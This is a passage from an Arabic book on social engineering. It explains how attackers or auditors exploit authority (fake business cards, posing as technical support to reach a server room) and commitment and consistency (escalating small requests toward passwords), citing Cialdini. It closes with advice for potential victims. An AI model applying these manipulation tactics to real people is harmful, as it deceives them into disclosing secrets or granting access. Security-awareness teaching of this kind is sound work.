‫ﻛﺛﯾر ﻣن اﻟﻧﺎس ﻏﺎﻟﺑﺎ ﻣﺎ ﯾﻔﻌﻠوا اﻟﻛﺛﯾر ﻣن أﻋﻣﺎﻟﮭم ﻓﻲ ﺣﺎﻟﺔ ﺣﯾث ﻻ ﯾوﺟد اﻟﻛﺛﯾر ﻣن اﻟﺗﻔﻛﯾر‪ .‬وﺑﻌﺑﺎرة أﺧرى‪ ،‬ﯾﻛوﻧوا ﻓﻲ وﺿﻊ اﻟطﯾﺎر اﻵﻟﻲ‪.‬‬
‫ﻓﻲ ﺗﻠك اﻟﻣواﻗف اﺳﺗﻐﻼل دور اﻟﺳﻠطﺔ ﺧطﯾر ﺟدا‪.‬‬
‫اﺳﺗﺧدام اﻟﻣﻼﺑس اﻟﻣﻧﺎﺳﺑﺔ‪ ،‬ﻟﻐﺔ اﻟﺟﺳد‪ ،‬وﺑطﺎﻗﺎت اﻟﻌﻣل اﻟوھﻣﯾﺔ اﻟﻣطﺑوﻋﺔ ﺗﻌﻣل ﻟﻛﺛﯾر ﻣن اﻟﻣﮭﻧدﺳﯾن اﻻﺟﺗﻣﺎﻋﯾن ﻓﻲ ﻋرض ﻣوﻗف اﻟﺳﻠطﺔ‬
‫واﻟﺣﻔﺎظ ﻋﻠﻰ أھداﻓﮫ ﻓﻲ اﻟوﺿﻊ اﻟطﯾﺎر اﻵﻟﻲ‪.‬‬
‫أﺷﻛﺎل أﺧرى ﻣن اﻟﺳﻠطﺔ ﻗد ﺗﺄﺗﻲ ﻓﻲ ﻣﻠﻌب اﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ ﻣن ﺗﻠك اﻟﻣذﻛورة ھﻧﺎ‪ ،‬وﻟﻛن ھذه ھﻲ اﻷﻛﺛر ﺷﯾوﻋﺎ‪ .‬اﻟﺳﻠطﺔ ﺗﺷﻛل ﻗوة ﻛﺑﯾرة‬
‫ﻋﻧدﻣﺎ ﯾﺗﻌﻠﻖ اﻷﻣر ﺑﺎﻟﺗﺄﺛﯾر ﻋﻠﻰ اﻵﺧرﯾن‪ ،‬ﻣﻊ وﺟود اﻟﻘﻠﯾل ﻣن اﻟﻣﻧطﻖ وﺟﻣﻊ اﻟﻣﻌﻠوﻣﺎت‪ ،‬اﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ ﯾﻣﻛﻧﮫ اﺳﺗﺧدام اﻟذرﯾﻌﺔ اﻟﺧﺎﺻﺔ‬
‫ﺑﺎﻟﺳﻠطﺔ ﺑﺷﻛل ﻓﻌﺎل ﻟﻘﺿﺎء ﻣﺻﺎﻟﺣﮫ‪.‬‬
‫اﻻﻟﺘﺰام واﻻﺗﺴﺎق )‪(Commitment and Consistency‬‬
‫اﻻﻟﺗزام واﻻﺗﺳﺎق ﯾﺣﻣل ﺑﻌض اﻵﺛﺎر اﻟﻣﺣﺗﻣﻠﺔ ﻣن اﻻﺳﺗﺧدام ﻟﻛل ﻣن اﻟﻣﻌﺗدي واﻟﺿﺣﯾﺔ ﻓﻲ ﺳﯾﻧﺎرﯾوھﺎت ﺑﺷﺄن اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ‪ .‬واﻻﺗﺳﺎق‬
‫ﺗﻌﻧﻰ ﻓﻲ اﻟﻔﻠﺳﻔﺔ )اﻻﻧﺳﺟﺎم أو اﻟﺗواﻓﻖ ﺗﺎم ﺑﯾن اﻟﻣﻘدﻣﺎت واﻟﻧﺗﺎﺋﺞ‪ ،‬أو ﺑﯾن اﻟﺑراھﯾن اﻟرﯾﺎﺿﯾّﺔ وﻣﻛوﻧﺎﺗﮭﺎ ﻣن اﻷوﻟﯾﺎت واﻟﺑدﯾﮭﯾﺎت(‪.‬‬
‫اﻟﻧﺎس ﺗﻘدر اﻻﺗﺳﺎق ﻓﻲ اﻵﺧرﯾن‪ ،‬وﻟدﯾﮭم رﻏﺑﺔ ﻋﺎﻣﺔ ﻓﻲ إظﮭﺎر اﻻﺗﺳﺎق ﻓﻲ ﺳﻠوﻛﮭم‪ .‬ﻋﻣوﻣﺎ رﺑﻣﺎ ﯾرﯾد اﻟﻧﺎس ﻣن ﻛﻠﻣﺎﺗﮭم‪ ،‬ﺳﻠوﻛﮭم‪ ،‬وأﻓﻌﺎﻟﮭم‬
‫ان ﺗﻛون ﻣﺗواﻓﻘﺔ وﻣﺗطﺎﺑﻘﺔ‪ .‬اﻻﺗﺳﺎق ﯾﻘﻠل ﻣن اﻟﺣﺎﺟﺔ إﻟﻰ إﻋﺎدة ﻣﻌﺎﻟﺟﺔ اﻟﻣﻌﻠوﻣﺎت وﯾوﻓر اﺧﺗﺻﺎرات ﻣن ﺧﻼل اﻟﻘرارات اﻟﻣﻌﻘدة‪.‬‬
‫اﻹﺣﺳﺎس اﻟداﺧﻠﻲ )‪ ،(Gut feelings‬ﺗﻠك اﻟﻠﺣظﺎت ﺣﯾث ﺗﺷﻌر أن ھذا اﻟﻌﻣل ھو ﺟﯾد أو ﺳﯾﺊ‪ ،‬ﺻواب أو ﺧطﺄ‪ ،‬ﻋﻠﻰ أﺳﺎس اﻟﺧﺑرة اﻟﻣﺎﺿﯾﺔ‬
‫وھﻲ ﻣن اﻟﻣؤﺷرات اﻟﺗﻲ ﻏﺎﻟﺑﺎ ﻋﻧدھﺎ ﯾﺑدأ ﺻﻧﻊ اﻟﻘرار واﻟﺗﻲ ﻣن اﻟﻣﻣﻛن ان ﺗﻛون ﺿد اﻟﺷﻌور ﺑﺎﻻﻟﺗزام اﻟﺳﺎﺑﻖ واﻟﻣﻌﺗﻘدات‪ .‬ﺗﺷﯾر ھذه‬
‫اﻹﺷﺎرات ﻓﻲ ﻛﺛﯾر ﻣن اﻷﺣﯾﺎن ﺑﺄﻧك ﺗﺷﻌر ﺑﺄﻧﮫ ﯾﺗم دﻓﻌك ﻟﻛﻲ ﺗواﻓﻖ ﻋﻠﻰ ﺷﻲء ﻣﺎ ﻛﻧت ﻻ ﺗرﯾده‪.‬‬
‫اﻹﺣﺳﺎس اﻟداﺧﻠﻲ )‪ ،(Gut feelings‬ﯾﻣﻛن أن ﯾﺣدث أﯾﺿﺎ ﻋﻧدﻣﺎ ﯾﺗﻌﻠﻖ اﻷﻣر ﺑﺟﻌل اﻻﻟﺗزاﻣﺎت‪ .‬ﻗد ﯾﺷﯾر اﻹﺣﺳﺎس اﻟداﺧﻠﻲ )‪(Gut feelings‬‬
‫اﻟﻰ إﻧك ﻏﯾر ﻣﺗﺄﻛد ﻣﺎ إذا ﻛﺎن اﻟﺗزاﻣﻛم ﺧطﺄ‪ .‬ﯾﻣﻛﻧك أن ﺗﺳﺄل ﻧﻔﺳك‪" ،‬ﺑﻣﻌرﻓﺔ ﻣﺎ أﻋرﻓﮫ اﻵن‪ ،‬إذا ﻛﺎن ﺑﺈﻣﻛﺎﻧﻲ ﻓﻌل ذﻟك ﻣرة أﺧرى‪ ،‬ﻓﮭل‬
‫ﺳوف اﺟﻌل اﻻﻟﺗزام ﻧﻔﺳﮫ؟"‪.‬‬
‫ﻗﺑل اﻟﻧظر ﻓﻲ ﻛﯾﻔﯾﺔ اﺳﺗﺧدام اﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ اﻻﺗﺳﺎق ﻟﻠﺣﺻول ﻋﻠﻰ اﻻﻟﺗزام ﻣن ﺷﺧص ﻣﺎ‪ ،‬ﻓﻠﻧﻠﻘﻲ ﻧظرة ﻋﻠﻰ اﻟﺛﻼﺛﺔ أﻣﺛﻠﺔ واﻟﺗﻲ ﻗد‬
‫ﺗﺳﺎﻋدﻧﺎ ﻓﻲ ﻓﮭم ھذه اﻟﻧﻘطﺔ‪.‬‬
‫‪ -‬اﻟﺗﺳوﯾﻖ )‪ :(Marketing‬اﻟﺷرﻛﺎت ﻏﺎﻟﺑﺎ ﻣﺎ ﺗﻧﻔﻖ ﻛﻣﯾﺎت ھﺎﺋﻠﺔ ﻣن اﻟﻣﺎل ﻟﻛﺳب ﺣﺻﺔ ﻓﻲ اﻟﺳوق‪ .‬واﻟﺗﻲ ﻟﯾﺳت ﻋﺎﺋد ﺣﻘﯾﻘﻲ‪ ،‬ﻟﻛﻧﮭﺎ‬
‫اﻟﻛﻔﺎح ﻣن أﺟل اﻟﺑﻘﺎء ﻓﻲ ﺗﻠك اﻟﺣﺻﺔ اﻟذي ﯾﻌﺗﻘدون أﻧﮭﺎ ﺗﻛون ﻣرﺑﺣﺔ‪ .‬ﻛوﻛﺎ ﻛوﻻ وﺑﯾﺑﺳﻲ أﻣﺛﻠﺔ راﺋﻌﺔ ﻋﻠﻰ اﺳﺗﺧدام اﻟﺗﺳوﯾﻖ طوال‬
‫اﻟﻌﻘود ﻓﻲ اﻟﻛﻔﺎح ﻣن أﺟل اﻟﺑﻘﺎء وﺿوﺣﺎ‪ ،‬وﻟﻛﻧﮭﺎ ﻏﺎﻟﺑﺎ ﻻ ﺗﺟﺎري اﻟﺗﺄﺛﯾر ﻋﻠﻰ اﻟﺷﺧص ﻟﻠﺗﺣول ﻣن ﺷرﻛﺔ ﺑﯾﺑﺳﻲ ﻟﻛوﻛﺎ ﻛوﻻ‪ .‬وذﻟك‬
‫ﻻن اﻟﺷرﻛﺗﯾن ﻛﺎﻧﺗﺎ "ﻣﻠﺗزﻣﺔ" ﺑﺎﻟﺣرب ﺿد ﺑﻌﺿﮭﺎ اﻟﺑﻌض ﺣﯾث أﻧﮫ ﻋﻧدﻣﺎ ﯾﺧرج واﺣد ﻣﻧﮭم ﻣﻊ ﻣﻧﺗﺞ أو ﻓﻛرة ﺟدﯾدة ﻟﻠﺗﺳوﯾﻖ‪ ،‬ﻓﺎن‬
‫اﻵﺧر ﻟﯾس ﺑﻌﯾدا ﺟدا ﻋن ھذا اﻟرﻛب‪.‬‬

‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬

 ‫‪917‬‬

‫اﻟﻣزادات )‪ :(Auctions‬ﺗزاﯾد واﺿﺢ ﻓﻲ ﺷﻌﺑﯾﮫ ﺑﯾوت اﻟﻣزادات ﻋﻠﻰ اﻻﻧﺗرﻧت ﻣﺛل ﻣوﻗﻊ ‪ eBay‬ﺣﯾث ﻟدﯾﮫ ھذا اﻟﻣﺑدأ أﻛﺛر‬ ‫‪-‬‬
‫وﺿوﺣﺎ‪ .‬ﯾﺷﻌر اﻟﻧﺎس ﺑﻣﺳﺗوى ﻣن اﻻﻟﺗزام أﺗﺟﺎه ﺷﯾﺋﺎ ﻣﺎ ﺣﯾث ﯾﻘوﻣون ﺑوﺿﻊ ﻣﻧﺎﻗﺻﺔ ﻋﻠﯾﮫ‪ ،‬ﻓﺎذا ﻛﺎن ھﻧﺎك ﻣن زاد ﻋﻠﯾﮭم ﻓﻲ ھذه‬
‫اﻟﻣﻧﺎﻗﺻﺔ ﻓﺄﻧﮭم ﻣﺿطرون ﻟﻠﻣزاﯾدة ﻣرة أﺧرى‪ .‬ﻓﻲ ﺑﻌض اﻷﺣﯾﺎن ﺳوف ﺗزﯾد ھذه اﻟﻣزاﯾدة ﻋن اﻟطرﯾﻖ اﻟطﺑﯾﻌﻲ ﻟﮭﺎ وﻋن ﻣﻧطﻘﺔ‬
‫اﻟراﺣﺔ اﻟﺧﺎﺻﺔ ﺑﮭم ﻷﻧﮭم ﯾﺷﻌرون ﺑﺎﻻﻟﺗزام‪ .‬أﺣد اﻷﻣﺛﻠﺔ اﻟﻛﻼﺳﯾﻛﯾﺔ ﻋﻠﻰ ذﻟك ھو ﻋﻧدﻣﺎ اﺷﺗرى روﺑرت ﻛﺎﻣﺑو ﺑﻠووﻣﯾﻧﻐدﻟس‬
‫)‪" Bloomingdales‬ﻣرﻛز ﻟﺑﯾﻊ اﻟﻣﻼﺑس"(‪ .‬ﺣﯾث دﻓﻊ ‪ 600‬ﻣﻠﯾون دوﻻر وھﻲ أﻛﺛر ﻣﻣﺎ ﻛﺎن ﯾﺳﺗﺣﻖ‪ .‬ﻣﺎﻛس ﺑﺎذرﻣﺎن‪ ،‬ﻣؤﻟف‬
‫ﻛﺗﺎب اﻟﺗﻔﺎوض ﺑﻌﻘﻼﻧﯾﺔ )‪ (Negotiating Rationally‬ﺣﯾث ﻗﺎم ﺑﻛﺗﺎﺑﺔ ﻣﻘﺎل ﻓﻲ ﺻﺣﯾﻔﺔ وول ﺳﺗرﯾت ﺟورﻧﺎل ﺣﯾث "ﻧﺣن ﻻ‬
‫ﻧﺗﻌﺎﻣل ﻣﻊ اﻟﺳﻌر ﺑﻌد اﻵن‪ ،‬وﻟﻛن ﻣﻊ اﻟﻐرور )‪..."(ego‬‬
‫ﻛرﻧﻔﺎﻻت واﻟﻣﻧﺎزل اﻟﻠﻌﺑﺔ‪ ،‬وھﻠم ﺟرا )‪ :(Carnivals, game houses, and so on‬ﻓﻲ أي ﺻﺎﻻت اﻟﻘﻣﺎر أو ﻣﻧﺎزل اﻻﻟﻌﺎب‬ ‫‪-‬‬
‫ﺗﺣﺗوي ﻋﻠﻰ ﻣﺧﺎطر ﻛﺑﯾره ﻣن اﻻﻟﺗزام واﻻﺗﺳﺎق ﺗﺳﺗﺧدم ﻹﻗﻧﺎع اﻟﻧﺎس‪ .‬واﺣد ﻣن ﻛﺎﺗﺑﻲ اﻟﻌﻣود ﻓﻲ اﻟﺟراﺋد‪ ،‬رﯾﺎن ھﯾﻠﻲ‪ ،‬وھو‬
‫ﻣﺳﺗﺷﺎر اﻟﺗﺳوﯾﻖ ﻋﺑر اﻹﻧﺗرﻧت‪ ،‬ﻛﺗب ﻗﺻﺔ ﻋﻧدﻣﺎ أﺧذ اﺑﻧﺗﮫ إﻟﻰ اﻟﺳﯾرك‬
‫‪http://www.ryanhealy.com/commitment-and-consistency/‬‬
‫ﺣﯾث دﻓﻊ ‪ $ 44‬ﻣن أﺟل اﻟﺗذاﻛر‪ $5 ،‬ﻣن أﺟل رﻛن ﺳﯾﺎرﺗﮫ‪ ،‬ﺛم أﺧذ ﻣن اﻟوﻗت ‪ 40‬دﻗﯾﻘﺔ ﺑﺎﻟﺳﯾﺎرة ﻟﻠوﺻول إﻟﻰ ھﻧﺎك‪ .‬ﺣﯾث ﻛﺎن‬
‫ﻣﻠﺗزﻣﺎ ﺑﺄﺧذ اﺑﻧﺗﮫ اﻟﻰ اﻟﺳﯾرك‪ .‬اﺑﻧﺗﮫ أرادت ﺣﻠوى اﻟﻘطن ﺣﺗﻰ اﻧﮫ ﻣﻠﺗزم ﺑﻘول ﻧﻌم وﻣﻧﺢ ﻟﮭﺎ ‪ 5‬دوﻻرات‪ .‬ﻛﯾف ﯾﻣﻛن ﻟﺣﻠوى اﻟﻘطن‬
‫أن ﺗﻛﻠف أﻛﺛر ﻣن ذﻟك؟ ﻋﻧدﻣﺎ ﺟﺎءﻧﺎ اﻟﻰ اﻟﺑﺎﺋﻊ ﻗﺎل ان اﻟﻛﯾس ﯾﻛﻠف ‪ 12‬دوﻻرا‪ ،‬ﻛﯾف ﯾﻣﻛن أن ﯾﺗراﺟﻊ ﻋن اﻟﺗزاﻣﮫ اﻵن؟ اﻧﮫ ﻻ‬
‫ﯾﺳﺗطﯾﻊ‪ ،‬وﺑﺎﻟﺗﺎﻟﻲ اﻧﺗﮭﻰ اﻻﻣر ﺑﺈﻧﻔﺎق ‪ 12‬دوﻻر ﻋﻠﻰ اﻟﺣﻠوى اﻟﻘطﻧﯾﺔ اﻟواﺣدة‪.‬‬

‫ﯾﻌرف اﻻﺗﺳﺎق )‪ (Consistency‬ﻓﻲ وﻗﺗﻧﺎ اﻟﺣﺎﻟﻲ ﺑﺎﻧﮫ ﻛل ﻣﺎ ھو ﻣﺗوﻗﻊ ﻋﻠﻰ أﺳﺎس اﻟﺧﺑرة اﻟﺳﺎﺑﻘﺔ أو اﻟﺗوﻗﻌﺎت‪ .‬ﺗﻠك اﻟﺗﺟرﺑﺔ أو اﻟﺗوﻗﻊ ﯾﻣﻛن‬
‫أن ﺗﺣﻔز ھدﻓﺎ ﻻﺗﺧﺎذ إﺟراء ﯾﻣﻛن أن ﯾﺗﺳﺑب ﻓﻲ اﻻﺧﻼل‪ .‬ﻋﻠﻰ ﺳﺑﯾل اﻟﻣﺛﺎل‪ ،‬ﻋﻧدﻣﺎ ﯾﺄﺗﻲ رﺟل اﻟدﻋم اﻟﻔﻧﻲ ﻓﻣن اﻟﻣﺗوﻗﻊ اﻧﮫ ﺳوف ﯾذھب اﻟﻰ‬
‫ﻏرﻓﺔ اﻟﺧﺎدم‪ .‬ھذا اﻟطﻠب ﯾﺗﺳﻖ ﻣﻊ اﻟﺗﺟرﺑﺔ اﻟﺳﺎﺑﻘﺔ واﻟﺗوﻗﻌﺎت‪ .‬ﻋﻧد طﻠب اﻟدﺧول اﻟﻰ ﻏرﻓﺔ اﻟﺧﺎدم‪ ،‬ﻓﺈﻧﮫ ﻣن اﻟﻣرﺟﺢ أن ﯾﺗم اﻟوﻓﺎء ﺑﮭﺎ ﻷﻧﮫ‬
‫ﯾﺗﺳﻖ ﻣﻊ ﻣﺎ ھو ﻣﺗوﻗﻊ‪.‬‬
‫اﻻﻟﺗزام واﻻﺗﺳﺎق ﯾﻣﻛن أن ﯾﻛون ﻋواﻣل اﻟﻘوﯾﺔ ذات ﺗﺄﺛﯾر ﻋﻠﻰ ﻣﻌظم اﻟﻧﺎس ﻻﺗﺧﺎذ إﺟراءات‪ ،‬وإﻋطﺎء اﻟﻣﻌﻠوﻣﺎت‪ ،‬أو إﻓﺷﺎء اﻷﺳرار‪.‬‬
‫اﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ ﯾﻣﻛن أن ﯾﺟﻌل اﻻﻟﺗزام واﻻﺗﺳﺎق ﻣن أﻗوى اﻷدوات ﻓﻲ ﺗرﺳﺎﻧﺗﮫ‪ .‬إذا ﺣﺻل اﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ ﻋﻠﻰ اﻟﮭدف ﻻرﺗﻛﺎب‬
‫ﺷﻲء ﺻﻐﯾر‪ ،‬ﻋﺎدة ﺗﺻﻌﯾد اﻻﻟﺗزام ﻟﯾس ﺻﻌﺑﺎ ﻟﻠﻐﺎﯾﺔ‪.‬‬
‫ﻓﻲ ﻛﺗﺎب )اﻟﻧﻔوذ "‪ ،(" Influence‬ﻟروﺑرت ﺳﯾﺎﻟدﯾﻧﻰ ﺣﯾث ﻛﺗب‪:‬‬
‫"ﻣﻔﺗﺎح اﺳﺗﺧدام ﻣﺑﺎدئ اﻻﻟﺗزام واﻻﺗﺳﺎق ﻟﻠﺗﻼﻋب ﺑﺎﻟﻧﺎس ﯾﻌﻘد ﺿﻣن اﻻﻟﺗزام اﻷوﻟﻲ‪ .‬ھذا ھو ﺑﻌد اﺗﺧﺎذ اي اﻟﺗزام‪ ،‬اﺗﺧﺎذ ﻣوﻗف أو وﺿﻊ‪،‬‬
‫اﻟﻧﺎس أﻛﺛر اﺳﺗﻌدادا ﻟﻠﻣواﻓﻘﺔ ﻋﻠﻰ اﻟطﻠﺑﺎت اﻟﺗﻲ ﺗﻧﺳﺟم ﻣﻊ اﻟﺗزاﻣﮭم اﻟﻣﺳﺑﻖ‪ .‬اﻟﻌدﯾد ﻣن اﻟﻣﮭﻧﯾﯾن اﻻﻣﺗﺛﺎل ﺳوف ﯾﺣﺎوﻟوا ﺣث اﻵﺧرﯾن ﻋﻠﻰ‬
‫اﺗﺧﺎذ ﻣوﻗف اﻟﻣﺑدﺋﻲ واﻟذي ﯾﺗﻔﻖ ﻣﻊ اﻟﺳﻠوك اﻟذي ﺳوف ﯾطﻠﺑﮫ ﻓﻲ وﻗت ﻻﺣﻖ"‪.‬‬
‫اﻟﻣﮭﺎﺟم أو اﻟﻣﺣﻘﻖ ﯾﺄﻣل ﻓﻲ ﺗوظﯾف أﺳﻠوب اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ ﻣن اﻻﻟﺗزام واﻻﺗﺳﺎق‪ ،‬وﻋﺎدة ﻣﺎ ﯾﺣﺎول اﻟﺣﺻول ﻋﻠﻰ ھذا اﻟﻣوﺿوع أو‬
‫اﻟﺿﺣﯾﺔ ﻟﻠﻛﺷف ﻋﻠﻰ ﻗطﻌﺔ ﺻﻐﯾرة ﻣن اﻟﻣﻌﻠوﻣﺎت ﻧﺣو اﻟﮭدف اﻟﻣﻧﺷود ﻋﻣوﻣﺎ‪ .‬ﻋن طرﯾﻖ اﻟﺣﺻول ﻋﻠﻰ ھذا اﻟﻣوﺿوع ﻟﻠﺣﻔﺎظ ﻋﻠﻰ اﻻﺗﺳﺎق‬
‫ﻣﻊ اﻷﺷﯾﺎء اﻟﺗﻲ ﻗد ﺳﺑﻖ وﻗﺎﻟﮭﺎ ﺑﺎﻟﻔﻌل‪ ،‬ﻗد ﺗﺣﺻل اﻟﻣﮭﺎﺟم ﻋﻠﻰ اﻟﻣوﺿوع ﻟﻠﻛﺷف ﻋن ﻣزﯾد ﻣن اﻟﻣﻌﻠوﻣﺎت‪.‬‬
‫ﻣن ﻧﺎﺣﯾﺔ أﺧرى‪ ،‬ﯾﺟب أن ﯾظل اﻟﻣﮭﺎﺟم ﻣﺗﺳﻖ‪/‬ﻣﺗﻔﻖ ﻣﻊ ﻣﺎ ﯾطﻠﺑون‪ .‬اﻟﻣﮭﺎﺟم ﯾﺟب أن ﯾﺑدأ ﺻﻐﯾرا ﺛم ﯾﺻﻌد ﻋﻣﻠﯾﺔ ﺟﻣﻊ اﻟﻣﻌﻠوﻣﺎت‪ .‬ﻻﺳﺗﺧدام‬
‫ﻣﺛﺎل ﻏﯾر واﻗﻌﻲ‪ ،‬ﯾﺟب أﻻ ﯾﺑدأ اﻟﻣﮭﺎﺟم ﺑﺎﻟﺳؤال ﻋن رﻣوز اﻹطﻼق اﻟﻧووي‪ .‬ﺣﯾث ﺳﯾﺗم رﻓض ھذا اﻟطﻠب‪ ،‬وﺳوف ﯾﺗرك اﻟﻣﮭﺎﺟم ﻣﻊ طرح‬
‫أﯾن ﯾﺗم اﻻﺣﺗﻔﺎظ ﺑﮭﺎ أو ﻣن ﻟﮫ ﺣﻖ اﻟوﺻول إﻟﻰ ھذه اﻟرﻣوز‪ .‬ﺣﯾث أﻧﮫ ﯾﺳﯾر إﻟﻰ اﻟوراء ﻓﻲ طﻠﺑﺎﺗﮫ‪ ،‬ﺣﯾث ﯾظﮭر ﻟﻠﺗﻔﺎوض واﻟﻣﺳﺎوﻣﺔ ﺑدﻻً ﻣن‬
‫اﻟﺑﻘﺎء ﻣﺗﺳﻘﺎ ﻟﮭدﻓﮫ اﻷﺻﻠﻲ‪ .‬وﻣﻊ ذﻟك‪ ،‬ﻓﺈذا ﺑدأ ﺻﻐﯾرا‪ ،‬وﺗﺣرك ﻷﻋﻠﻰ ﻣﻊ ﻛل ﻗطﻌﺔ ﺟدﯾدة ﻣن اﻟﻣﻌﻠوﻣﺎت اﻟﺗﻲ ﺗم ﺟﻣﻌﮭﺎ‪ ،‬ﻓﺈﻧﮫ ﺳوف ﯾﺑدو‬
‫وﻛﺄﻧﮫ ﺗطور طﺑﯾﻌﻲ وﻟن ﯾظﮭر ذﻟك واﺿﺣﺎ ﻟﻠﺿﺣﯾﺔ‪.‬‬
‫اﻟﺳﯾر ﺑﺑطء وﺗدرﯾﺟﯾﺎ ﻣن اﻟﻣﻣﻛن أن ﯾﻛون ﺻﻌﺑﺎ وﻛﻣﮭﻧدس اﺟﺗﻣﺎﻋﻲ ﻓﻲ ﻛﺛﯾر ﻣن اﻷﺣﯾﺎن ﯾﻛون ﻏﯾر ﺻﺑور وﯾرﻏب ﻓﻲ اﻟﺣﺻول ﻋﻠﻰ‬
‫"ﻛﻠﻣﺔ اﻟﻣرور" ﻓﻲ اﻟوﻗت اﻟراھن‪ .‬اﻟﻠﻌب ﺑﺑرود واﻹﺑﻘﺎء ﻋﻠﻰ اﻟﻣرﯾض ﻣن اﻟﻣﻣﻛن أن ﯾﺟﻌل ھذه اﻟطرﯾﻖ ﻣﺟزﯾﺔ‪ .‬ﺗﻌرﯾف واﺿﺢ‪ ،‬ھو اﻟﻣﺳﺎر‬
‫اﻟذي ﯾﻣﻛﻧك اﺳﺗﺧداﻣﮫ ﻋﻠﻰ ﻛل اﻟﺗدﻗﯾﻖ ﯾﻣﻛﻧﮫ أن ﯾﺳﺎﻋدك ﻋﻠﻰ اﻟﺧوض ﻓﻲ اﻟﺗدﻗﯾﻖ ﻣﻊ أھداف ﻣﺣددة ﺑوﺿوح واﻟطرﯾﻖ إﻟﻰ ﺗﺣﻘﯾﻘﮭﺎ‪.‬‬
‫ﻓﻲ اﻟﺷﻛل اﻟﺗﺎﻟﻲ رﺳم ﯾوﺿﺢ ﻛﯾﻔﯾﺔ ﻛون اﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ ﻗﺎدرا ﻋﻠﻰ ﺗﺻور ھذا اﻟطرﯾﻖ ﻟﻠﺣﺻول ﻋﻠﻰ اﻟﻣﻌﻠوﻣﺎت ﺑﺎﺳﺗﺧدام اﻻﻟﺗزام‬
‫واﻻﺗﺳﺎق‪.‬‬
‫اﻟﺣﺻول ﻋﻠﻰ اﻟﮭدف ﻟﻼﻟﺗزام ﺷﻔﮭﯾﺎ ﺑﻌﻣل ﻣﺎ ﯾﻣﻛﻧﮫ إﺟﺑﺎر اﻟﮭدف اﻟﻰ ﻣﺳﺎر ﻣﻌﯾن ﻣن اﻟﻌﻣل‪ .‬ﺗﻧص ﺣﺎﻟﺔ ﺳﯾﻠدﯾﻧﻲ‪ " ،‬إن ﻗواﻋد اﻻﻟﺗزام‬
‫واﻻﺗﺳﺎق ﻋﻧدﻣﺎ ﻧﺗﺧذ ﻗرارا‪ ،‬ﻓﺳوف ﻧﻌﺎﻧﻲ ﻣن اﻟﺿﻐط ﻣن اﻵﺧرﯾن وأﻧﻔﺳﻧﺎ ﺣﺗﻰ ﻧﺗﺻرف ﺑﺎﺳﺗﻣرار ﻣﻊ ھذا اﻟﻘرار‪ .‬أﻧت ﯾﻣﻛن أن ﺗﻛون‬
‫ﺿﻐطت ﻓﻲ اﺗﺧﺎذ ﻗرارات ﺟﯾدة أو ﺳﯾﺋﺔ ﺣﺳب اﻹﺟراءات اﻟﺳﺎﺑﻘﺔ اﻟﺧﺎﺻﺔ ﺑك"‪.‬‬

‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬

 ‫‪918‬‬

‫رﺑﻣﺎ ﺗﻛون ﺷﻌرت ﺑﮭذه ﻟو ﻗﻠت ﻓﻲ أي وﻗت ﻣﺿﻰ ﺷﻔﮭﯾﺎ ﻟزوﺟﺗك أو زوﺟك أﻧك ﺗرﯾد إﻧﻘﺎص اﻟوزن‪ .‬أن "اﻻﻟﺗزام" اﻟﻠﻔظﻲ ﯾؤدي إﻟﻰ اﻟﻛﺛﯾر‬
‫ﻣن اﻟﺿﻐوط ﻹﺟراء ﯾﺻل إﻟﻰ اﻟﻧﮭﺎﯾﺔ اﻟﺧﺎص ﺑك ﻣن "اﻟﺻﻔﻘﺔ"‪.‬‬
‫ﻓﻲ ﺑﻌض اﻷﺣﯾﺎن ﯾﻣﻛن أن ﯾﻛون ﻣن اﻟﺻﻌب ﺟدا ً أو ﺷﺑﮫ ﻣﺳﺗﺣﯾل ﻓﻲ ﻧﮭﺎﯾﺔ اﻟﻣطﺎف اﻻﺧﺗﻼف ﻣﻊ ﻧﻔﺳك‪ .‬ﻛل ﺷﺧص ﺟﯾﻌﺎ‪ ،‬ﻋﻧد ﻧﻘطﺔ واﺣدة‬
‫أو أﺧرى ﯾﺗﻣﺗم اﻟﻌﺑﺎرة‪" ،‬أﻧﺎ آﺳف ﻟﻘد ﻏﯾرت رأﯾﻲ" ﻣرة واﺣدة ﻋﻠﻰ اﻷﻗل ﻓﻲ ﺣﯾﺎﺗﻧﺎ‪ .‬ﻋﻧدﻣﺎ ﻧﻔﻌل ذﻟك‪ ،‬ﻧﻌﻠﻖ رؤوﺳﻧﺎ ﺧﺟﻼ‪ ،‬وﻧﺧﻔض ﻧﻐﻣﺎت‬
‫ﺻوﺗﻧﺎ‪ ،‬وﻧﺑدو ﺣزﯾﻧﺎ‪ .‬ﻟﻣﺎذا؟ ﻣﺟرد أﻧﻧﺎ ﻛﺳرﻧﺎ اﻻﻟﺗزام اﻟذي ﻗطﻌﻧﺎه وﻧﺷﻌر ﺑﺎﻟذﻧب ﻟﻔﻌل ذﻟك‪.‬‬
‫ﻛﺿﺣﯾﺔ ﻣﺣﺗﻣﻠﺔ‪ ،‬اﻟﻧﺎس ﺑﺣﺎﺟﺔ ﻟﯾﻛون ﻋﻠﻰ ﺑﯾﻧﮫ ﻣن ﻏراﺋزھم اﻟداﺧﻠﯾﺔ )‪ (Gut Feeling‬وﺗدرك أﻧﮫ ﻓﻲ ﺑﻌض اﻟﻣواﻗف ﻻ ﺑﺎس ﻣن ﺗﻐﯾر‬
‫رأﯾﮫ‪ .‬إﺟﺎﺑﺔ واﺣدة ﻻ ﯾﻌﻧﻲ أن ھﻧﺎك ﺛﺎﻧﯾﺔ واﺣدة ﺗﺣﺗﺎج إﻟﻰ اﻟﻣﺗﺎﺑﻌﺔ‪ .‬أﯾﺿﺎ‪ ،‬أن ﯾﻛون ﻋﻠﻰ ﻋﻠم ﺑﻣﺎ ھو ﻣطﻠوب ﻣﻧﻛم‪.‬‬
